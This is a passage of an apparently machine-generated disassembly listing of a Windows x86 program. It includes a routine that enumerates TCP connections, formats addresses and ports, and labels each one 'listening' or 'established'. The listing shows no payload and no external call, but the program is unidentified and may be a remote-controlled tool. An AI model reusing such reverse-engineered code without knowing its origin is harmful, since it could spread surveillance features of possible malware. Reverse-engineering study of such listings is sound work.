		call	sub_4016F9
		test	al, al
		jz	short loc_418C1A


loc_418BD8:				; CODE XREF: sub_418BC0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4012A3
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40214E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4016F9
		test	al, al
		jnz	short loc_418BD8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418C1A:				; CODE XREF: sub_418BC0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418BC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418C50	proc near		; CODE XREF: sub_40139Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401C53
sub_418C50	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_418C65
		mov	edi, esi


loc_418C65:				; CODE XREF: ___:00418C61j
		push	esi
		call	sub_4015D2
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_418C7A
		mov	edi, esi


loc_418C7A:				; CODE XREF: ___:00418C76j
		push	esi
		call	sub_401B1D
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418CA0	proc near		; CODE XREF: sub_40205Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4013F2
sub_418CA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418CC0	proc near		; CODE XREF: sub_4015D2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_418CC0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418CE0	proc near		; CODE XREF: sub_401172j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_418CE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418D00	proc near		; CODE XREF: sub_401528j
		mov	eax, ecx
		retn
sub_418D00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418D20	proc near		; CODE XREF: sub_401D84j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4020E0
		mov	eax, esi
		pop	esi
		retn	4
sub_418D20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418D50	proc near		; CODE XREF: sub_40221Bj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_418D50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418D80	proc near		; CODE XREF: sub_40123Fj

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_40116D
		mov	ecx, eax
		call	sub_401C8A
		mov	esi, eax
		push	esi
		call	sub_401A82
		push	esi
		mov	ebx, eax
		call	sub_401C58
		mov	ecx, [eax]
		push	ecx
		call	sub_401A82
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401C58
		push	esi
		mov	ebx, eax
		call	sub_401A82
		mov	eax, [eax]
		push	eax
		call	sub_401C58
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401208
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401762
		push	esi
		mov	ecx, edi
		call	sub_4020E5
sub_418D80	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418E40	proc near		; CODE XREF: sub_401D57j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_418E40	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E60	proc near		; CODE XREF: sub_40116Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401F0A
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_418E60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418E90	proc near		; CODE XREF: sub_40214Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4012A3
		mov	ecx, eax
		call	sub_401ECE
		mov	esi, eax
		push	esi
		call	sub_4015D2
		push	esi
		mov	ebx, eax
		call	sub_401B1D
		mov	ecx, [eax]
		push	ecx
		call	sub_4015D2
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401B1D
		push	esi
		mov	ebx, eax
		call	sub_4015D2
		mov	eax, [eax]
		push	eax
		call	sub_401B1D
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401172
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4018C5
		push	esi
		mov	ecx, edi
		call	sub_40205E
sub_418E90	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418F50	proc near		; CODE XREF: sub_401B1Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_418F50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F70	proc near		; CODE XREF: sub_401C53j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_418F70	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418FA0	proc near		; CODE XREF: sub_4013F2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_418FA0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418FC0	proc near		; CODE XREF: sub_4020E0j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_418FC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418FE0	proc near		; CODE XREF: sub_4012A3j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401361
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_418FE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419010	proc near		; CODE XREF: sub_401762j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_8
		pop	ecx
		retn	4
sub_419010	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419030	proc near		; CODE XREF: sub_4018C5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_4
		pop	ecx
		retn	4
sub_419030	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419050	proc near		; CODE XREF: sub_401ECEj
		mov	eax, [ecx]
		retn
sub_419050	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4190B0	proc near		; CODE XREF: sub_402103j

var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4190B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_14], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		push	9
		mov	[esp+1Ch+var_4], 0
		mov	dword ptr [esi], offset	off_43E074
		call	sub_4367FA
sub_4190B0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 1
		jz	short loc_41911D
		mov	ecx, eax
		call	sub_401F0F
; ---------------------------------------------------------------------------
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+8]
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41911D:				; CODE XREF: ___:004190FFj
		mov	ecx, [esp+0Ch]
		xor	eax, eax
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419170	proc near		; CODE XREF: sub_401F0Fj
		push	0FFFFFFFFh
		push	offset SEH_419170
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	14h
		call	sub_4367FA
sub_419170	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+4], eax
		test	eax, eax
		mov	dword ptr [esp+10h], 0
		jz	short loc_4191BE
		mov	ecx, eax
		call	sub_4015B9
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+4]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_4191BE:				; CODE XREF: ___:004191A1j
		mov	ecx, [esp+8]
		xor	eax, eax
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419200	proc near		; CODE XREF: sub_4015B9j
		mov	eax, ecx
		retn
sub_419200	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419220	proc near		; CODE XREF: sub_401965j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_419220
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	14h
		push	1
		push	14h
		push	13h
		push	14h
		push	5
		lea	eax, [esp+44h+var_24]
		push	0Eh
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_401681
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
sub_419220	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4192C0	proc near		; CODE XREF: sub_40111Dj

var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_274		= byte ptr -274h
var_25C		= byte ptr -25Ch
var_23C		= byte ptr -23Ch
var_224		= byte ptr -224h
var_199		= byte ptr -199h
var_198		= byte ptr -198h
var_119		= byte ptr -119h
var_118		= byte ptr -118h
var_99		= byte ptr -99h
var_98		= byte ptr -98h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4192C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 298h
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	[esp+2ACh+var_2A4], ebx
		lea	ecx, [ebx+4]
		call	sub_4017E4
		mov	esi, [esp+2ACh+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_419669
		push	ebp
		push	edi
		push	offset asc_443600 ; " "
		lea	eax, [esp+2B8h+var_23C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		call	sub_401681
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+2B4h+var_23C]
		mov	[ebx+36h], eax
		call	sub_401226
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+2B8h+var_274]
		call	sub_401861
		xor	ebp, ebp
		push	offset dword_443D84
		lea	ecx, [esp+2B8h+var_274]
		mov	[esp+2B8h+var_4], ebp
		mov	[esp+2B8h+var_2A0], ebp
		call	sub_4013E3
		test	eax, eax
		jz	short loc_41936F
		mov	[esp+2B4h+var_2A0], 2
		jmp	short loc_419389
; ---------------------------------------------------------------------------


loc_41936F:				; CODE XREF: sub_4192C0+A3j
		push	offset dword_443D80
		lea	ecx, [esp+2B8h+var_274]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_419389
		mov	[esp+2B4h+var_2A0], 1


loc_419389:				; CODE XREF: sub_4192C0+ADj
					; sub_4192C0+BFj
		mov	ecx, [ebx+32h]
		mov	edi, offset dword_443D74
		xor	eax, eax
		mov	edx, [ecx]
		or	ecx, 0FFFFFFFFh
		add	edx, 2
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		mov	byte ptr [edx],	1
		mov	eax, [ebx+32h]
		mov	[esp+2B4h+var_119], 0
		mov	[esp+2B4h+var_99], 0
		mov	[esp+2B4h+var_D], 0
		mov	[esp+2B4h+var_199], 0
		mov	eax, [eax]
		cmp	byte ptr [eax],	0
		jnz	short loc_419418
		mov	esi, dword_50FA9C
		add	eax, 2
		push	offset dword_443D74
		push	eax
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jz	short loc_419418
		mov	ecx, [ebx+32h]
		push	offset off_443D70
		mov	edx, [ecx]
		add	edx, 2
		push	edx
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_41964F


loc_419418:				; CODE XREF: sub_4192C0+123j
					; sub_4192C0+13Bj
		push	0C00h
		mov	[esp+2B8h+var_294], 0C00h
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		mov	esi, eax
		lea	eax, [esp+2B4h+var_294]
		mov	[esp+2B4h+var_29C], esi
		push	1
		push	eax
		push	esi
		mov	[esi], ebp
		call	sub_436C60
; ---------------------------------------------------------------------------
		mov	eax, [esi]
		mov	[esp+2B4h+var_298], ebp
		cmp	eax, ebp
		jle	loc_419645
		lea	ebp, [esi+14h]


loc_419454:				; CODE XREF: sub_4192C0+37Fj
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419468
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		cmp	byte ptr [edx],	0
		jz	loc_41962F


loc_419468:				; CODE XREF: sub_4192C0+198j
		mov	ax, [ebp-8]
		mov	esi, dword_50FC20
		push	eax
		call	esi	; ntohs
		mov	cx, [ebp+0]
		mov	[esp+2B4h+var_290], eax
		push	ecx
		call	esi	; ntohs
		mov	esi, [esp+2B4h+var_2A4]
		mov	ebx, eax
		mov	eax, [ebp-0Ch]
		push	1
		lea	edx, [esp+2B8h+var_198]
		push	7Fh
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401474
		mov	edx, [ebp-4]
		push	0
		lea	ecx, [esp+2B8h+var_118]
		push	7Fh
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401474
		mov	eax, [ebp-10h]
		sub	eax, 2
		jz	short loc_4194CC
		sub	eax, 3
		jnz	short loc_4194F2
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aEstablished ; "established"
		jmp	short loc_4194D5
; ---------------------------------------------------------------------------


loc_4194CC:				; CODE XREF: sub_4192C0+1FAj
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aListening ; "listening"


loc_4194D5:				; CODE XREF: sub_4192C0+20Aj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_4194F2:				; CODE XREF: sub_4192C0+1FFj
		mov	ecx, 23h
		xor	eax, eax
		lea	edi, [esp+2B4h+var_98]
		rep stosd
		mov	ecx, 23h
		lea	edi, [esp+2B4h+var_224]
		rep stosd
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419518
		xor	ebx, ebx


loc_419518:				; CODE XREF: sub_4192C0+254j
		mov	esi, [esp+2B4h+var_290]
		lea	ecx, [esp+2B4h+var_198]
		and	esi, 0FFFFh
		lea	edx, [esp+2B4h+var_98]
		push	esi
		push	ecx
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	edx
		nop
		call	near ptr 77C3FA76h
		mov	edi, ebx
		add	esp, 14h
		and	edi, 0FFFFh
		lea	eax, [esp+2B4h+var_118]
		push	edi
		push	eax
		push	offset aSD_1	; "%s:%d"
		lea	ecx, [esp+2C0h+var_224]
		push	8Bh
		push	ecx
		nop
		call	near ptr 77C3FA76h
		add	esp, 14h
		lea	ecx, [esp+2B4h+var_28C]
		call	sub_401424
		mov	eax, [esp+2B4h+var_2A0]
		mov	byte ptr [esp+2B4h+var_4], 1
		test	bx, bx
		jnz	short loc_4195B1
		cmp	eax, 1
		jz	loc_419616
		mov	edx, [esp+2B4h+var_2A4]
		mov	eax, [edx+36h]
		test	eax, eax
		jz	short loc_4195A4
		cmp	eax, esi
		jnz	short loc_419616


loc_4195A4:				; CODE XREF: sub_4192C0+2DEj
		lea	eax, [esp+2B4h+var_25C]
		push	esi
		push	eax
		push	offset aSD_0	; "%s: %d"
		jmp	short loc_4195D7
; ---------------------------------------------------------------------------


loc_4195B1:				; CODE XREF: sub_4192C0+2CAj
		cmp	eax, 2
		jz	short loc_419616
		mov	ecx, [esp+2B4h+var_2A4]
		mov	eax, [ecx+36h]
		test	eax, eax
		jz	short loc_4195C5
		cmp	eax, edi
		jnz	short loc_419616


loc_4195C5:				; CODE XREF: sub_4192C0+2FFj
		lea	edx, [esp+2B4h+var_224]
		lea	eax, [esp+2B4h+var_25C]
		push	edx
		push	eax
		push	offset aSS_6	; "%s: %s"


loc_4195D7:				; CODE XREF: sub_4192C0+2EFj
		lea	ecx, [esp+2C0h+var_28C]
		push	ecx
		call	sub_40102D
		mov	esi, [esp+2C4h+arg_0]
		add	esp, 10h
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+2B8h+var_28C]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118


loc_419616:				; CODE XREF: sub_4192C0+2CFj
					; sub_4192C0+2E2j ...
		lea	ecx, [esp+2B4h+var_28C]
		mov	byte ptr [esp+2B4h+var_4], 0
		call	sub_401226
		mov	esi, [esp+2B4h+var_29C]
		mov	ebx, [esp+2B4h+var_2A4]


loc_41962F:				; CODE XREF: sub_4192C0+1A2j
		mov	eax, [esp+2B4h+var_298]
		mov	ecx, [esi]
		inc	eax
		add	ebp, 14h
		cmp	eax, ecx
		mov	[esp+2B4h+var_298], eax
		jl	loc_419454


loc_419645:				; CODE XREF: sub_4192C0+18Bj
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_41964F:				; CODE XREF: sub_4192C0+152j
		lea	ecx, [esp+2B4h+var_274]
		mov	[esp+2B4h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebp
		jmp	short loc_41966B
; ---------------------------------------------------------------------------


loc_419669:				; CODE XREF: sub_4192C0+3Dj
		mov	al, 1


loc_41966B:				; CODE XREF: sub_4192C0+3A7j
		mov	ecx, [esp+2ACh+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2A4h
		retn	4
sub_4192C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419790	proc near		; CODE XREF: sub_401474j

var_20		= byte ptr -20h
arg_0		= byte ptr  4
arg_3		= dword	ptr  7
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		mov	eax, [esp+arg_3]
		sub	esp, 20h
		mov	edx, [esp+25h]
		and	eax, 0FFh
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+32h]
		mov	ebx, [esp+2Ch+arg_8]
		mov	ebp, [esp+2Ch+arg_3+1]
		push	eax
		mov	eax, [esp+34h]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ebx
		push	ebp
		call	near ptr 77C3FA76h
		nop
		mov	ecx, [esi+32h]
		add	esp, 1Ch
		mov	al, [ecx+4]
		test	al, al
		jnz	short loc_419850
		mov	al, [esp+2Ch+arg_C]
		test	al, al
		jnz	short loc_41981E
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_41981E
		push	2
		lea	edx, [esp+30h+arg_0]
		push	4
		push	edx
		nop
		call	near ptr 71ABE479h
		test	eax, eax
		jz	short loc_419850
		mov	eax, [eax]
		push	ebx
		push	eax
		push	ebp
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
; ---------------------------------------------------------------------------


loc_41981E:				; CODE XREF: sub_419790+5Aj
					; sub_419790+62j
		push	edi
		mov	ecx, 7
		xor	eax, eax
		lea	edi, [esp+30h+var_20]
		rep stosd
		lea	ecx, [esp+30h+var_20]
		push	1Dh
		push	ecx
		stosw
		nop
		call	near ptr 71AB50C8h
		test	eax, eax
		pop	edi
		jnz	short loc_419850
		lea	edx, [esp+2Ch+var_20]
		push	ebx
		push	edx
		push	ebp
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch


loc_419850:				; CODE XREF: sub_419790+52j
					; sub_419790+75j ...
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
sub_419790	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4198A0	proc near		; CODE XREF: sub_401EECj
		call	near ptr 2960743h
		nop
		push	eax
		call	near ptr 77C371BCh
		nop
		pop	ecx
		retn
sub_4198A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4198C0	proc near		; CODE XREF: sub_4021A3j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		call	near ptr 77C371D3h
		nop
		mov	esi, [esp+8+arg_0]
		mov	[esp+8+var_4], eax
		mov	eax, [esp+8+arg_4]
		fild	[esp+8+var_4]
		sub	eax, esi
		mov	[esp+8+arg_4], eax
		fimul	[esp+8+arg_4]
		fmul	dbl_43E0B0
		call	sub_4368EA
sub_4198C0	endp

; ---------------------------------------------------------------------------
		sub	esi, eax
		mov	eax, esi
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419910:				; CODE XREF: ___:00401C85j
		nop
		call	near ptr 77C371D3h
		cdq
		idiv	dword ptr [esp+4]
		mov	eax, edx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------

locret_419930:				; CODE XREF: ___:0040151Ej
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419950:				; CODE XREF: ___:00401FC3j
		xor	al, al
		retn	4
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419970	proc near		; CODE XREF: sub_401523j

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_8]
		cmp	eax, 1
		setnl	al
		mov	byte ptr [esp+arg_C], al
		push	ecx
		mov	eax, [esp+4+arg_C]
		push	edx
		push	eax
		push	0
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		retn
sub_419970	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4199B0:				; CODE XREF: ___:00401505j
		sub	esp, 0Ch
		mov	eax, [esp+20h]
		push	ebx
		push	ebp
		push	esi
		xor	esi, esi
		push	edi
		cmp	eax, esi
		mov	dword ptr [esp+18h], 80h
		mov	[esp+10h], esi
		jz	short loc_4199E3
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, esi
		mov	[esp+10h], eax
		jz	short loc_4199E3
		mov	[esp+18h], eax


loc_4199E3:				; CODE XREF: ___:004199CBj
					; ___:004199DDj
		mov	edi, [esp+28h]
		mov	ebx, [esp+24h]
		mov	ebp, [esp+20h]
		mov	[esp+14h], esi
		mov	esi, offset dword_506E5C


loc_4199F8:				; CODE XREF: ___:00419A49j
		mov	ecx, [esp+14h]
		mov	eax, [esp+18h]
		cmp	ecx, eax
		jge	short loc_419A4B
		cmp	byte ptr [esi],	0
		jz	short loc_419A34
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_419A28
		mov	ecx, [esp+10h]
		test	ecx, ecx
		jnz	short loc_419A28
		push	eax
		push	esi
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	short loc_419A34


loc_419A28:				; CODE XREF: ___:00419A0Fj
					; ___:00419A17j
		push	edi
		push	esi
		push	ebx
		push	ebp
		call	sub_401523
		add	esp, 10h


loc_419A34:				; CODE XREF: ___:00419A07j
					; ___:00419A26j
		mov	edx, [esp+14h]
		add	esi, 80h
		inc	edx
		cmp	esi, offset dword_50AE5C
		mov	[esp+14h], edx
		jl	short loc_4199F8


loc_419A4B:				; CODE XREF: ___:00419A02j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
